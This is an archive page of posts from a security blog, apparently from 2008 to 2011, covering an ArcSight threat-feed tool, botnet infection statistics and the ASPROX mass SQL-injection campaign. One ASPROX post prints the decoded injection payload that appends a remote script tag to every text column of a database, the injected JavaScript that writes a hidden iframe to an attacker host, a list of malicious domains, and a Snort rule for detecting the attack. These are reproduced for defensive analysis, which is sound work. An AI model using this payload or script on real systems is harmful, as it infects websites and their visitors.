Showing posts with label Botnet. Show all posts
Showing posts with label Botnet. Show all posts

Thursday, January 13, 2011

ArcOSI 2.1 Released!









Just uploaded the newest version of ArcOSI Open Source Intelligence Utility for use with ArcSight ESM. I've added several new malware domain feeds and improved the code to handle connection errors, etc. I'm making time for this project now and will soon add support very soon for proxy and proxy-auth as this has been requested numerous times!

Thanks to everyone who has tested and just a reminder feel free to reach out directly if you have any issues, feedback or requests.

http://code.google.com/p/arcosi

-Greg

Thursday, October 22, 2009

Importing Known Malware IP's to Arcsight ESM



Wanted to share this proof of concept script I wrote to test out Arcsight's Common Event Format (CEF).

Essentially it grabs the latest list of known malware/bot IP's from SRI's Malware Threat Center and excellent resource for tracking malicious domains and spits them out to Arcsight via CEF Syslog.

Downloads:

malwarefeed.py

Wednesday, September 30, 2009

9 Percent Of Enterprise Machines Infected With Malware

New study released from 3 months of botnet research found that up to 9% of large enterprise organizations are infected and active bot nodes.

This is not surprising and shows the importance of having both internal IDS sensors such as Snort IDS (with Emerging Threats Signature set) and a consolidated logging and event management product (SIEM tools) such as Arcsight.

A large client can leverage SIM to monitor windows event logs, host based ID(P)S and or anti-virus software. With the combined information, companies can leverage strong correlation reports matching those events with the internal IDS sensors. This seems to be a best practice approach at containing sprawling infections such as Conficker, Koobface and even the nasty Zeus (keylogging) malware.

Original article @ Dark Reading:
http://www.darkreading.com/insiderthreat/security/client/showArticle.jhtml?articleID=220200118

Monday, August 4, 2008

ASPROX Latest Attack Vector: JS.JS

Most ASPROX SQL Injection attacks are now using js.js

Grab our ASPROX toolkit for information on cleaning and defending from this threat.

Here are the latest ASPROX domains detected:

www.porv.ru/js.js
www.ncbw.ru/js.js
www.98hs.ru/js.js
www.nwj4.ru/js.js
www.bywd.ru/js.js
www.bgsr.ru/js.js
www.ibse.ru/js.js
www.uhwc.ru/js.js
www.ojns.ru/js.js
www.8hcs.ru/js.js
mo98g.cn/q.js
abc.verynx.cn/w.js
www.bosf.ru/js.js
www.bnsr.ru/js.js
www.ch35.ru/js.js
www.jve4.ru/js.js
www.nmr43.ru/js.js
www.bce8.ru/js.js
www.ncwc.ru/js.js
www.njep.ru/js.js
www.bjxt.ru/js.js
www.b4so.ru/js.js
www.kj5s.ru/js.js
www.oics.ru/js.js
www.po4c.ru/js.js
www.kjwd.ru/js.js
www.bsko.ru/js.js
www.pfd2.ru/js.js
www.iroe.ru/js.js
www.gty5.ru/js.js
www.kpo3.ru/js.js
www.ncb2.ru/js.js
www.kr92.ru/js.js

Monday, July 7, 2008

ASPROX Payload Morphed NGG.JS

New domains found and new javascript payload "ngg.js" replaced the previous "b.js".

And it doesn't seem to be wasting any time:
http://www.google.com/search?q=ngg.js
Results 1 - 10 of about 19,300 for ngg.js. (0.03 seconds)

New SQL Injection Payload (HEX DECODED):

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''script src=http://www.apidad.com/ngg.js /script''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Whats in ngg.js? Familiar iframe attack from before but this time selectively ignores browsers from Russia, Ukraine, China, Korea, Vietnam and India. Lovely :)

window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="UR")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("updngg=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = "updngg=update;expires="+expires.toGMTString();
try{
document.write("iframe src=http://mainbvd.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0>/iframe");
}
catch(e)
{
};
}}



New ASPROX domains spotted:
apidad.com, mainbvd.com, bnrbtch.com, ucomddv.com, brsadd.com, asodbr.com, canclvr.com, portwbr.com, catdbw.mobi, allocbn.mobi, testwvr.com, stiwdd.com, adwadb.mobi, dbgbron.com, ktrcom.com, hiwowpp.cn, clrbbd.com, browsad.com, blockkd.com, bnradd.mobi, bnrbase.com, adbtch.com, aladbnr.com, aladbnr.com, loctenv.com, bnrbasead.com, appdad.com, blcadw.com, destbnp.com, attadd.com, nopcls.com, ausbnr.com, bkpadd.mobi, tctcow.com, ausadd.com, movaddw.com, cliprts.com


Snort signature to detect access of infected site:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ASPROX Infected Site - ngg.js Request"; flow:established,to_server;
uricontent:"/ngg.js"; classtype:trojan-activity; reference:url,infosec20.blogspot.com/; rev:1; sid:4000002;)

And finally go here to download Sentinel IPS' ASPROX Information Toolkit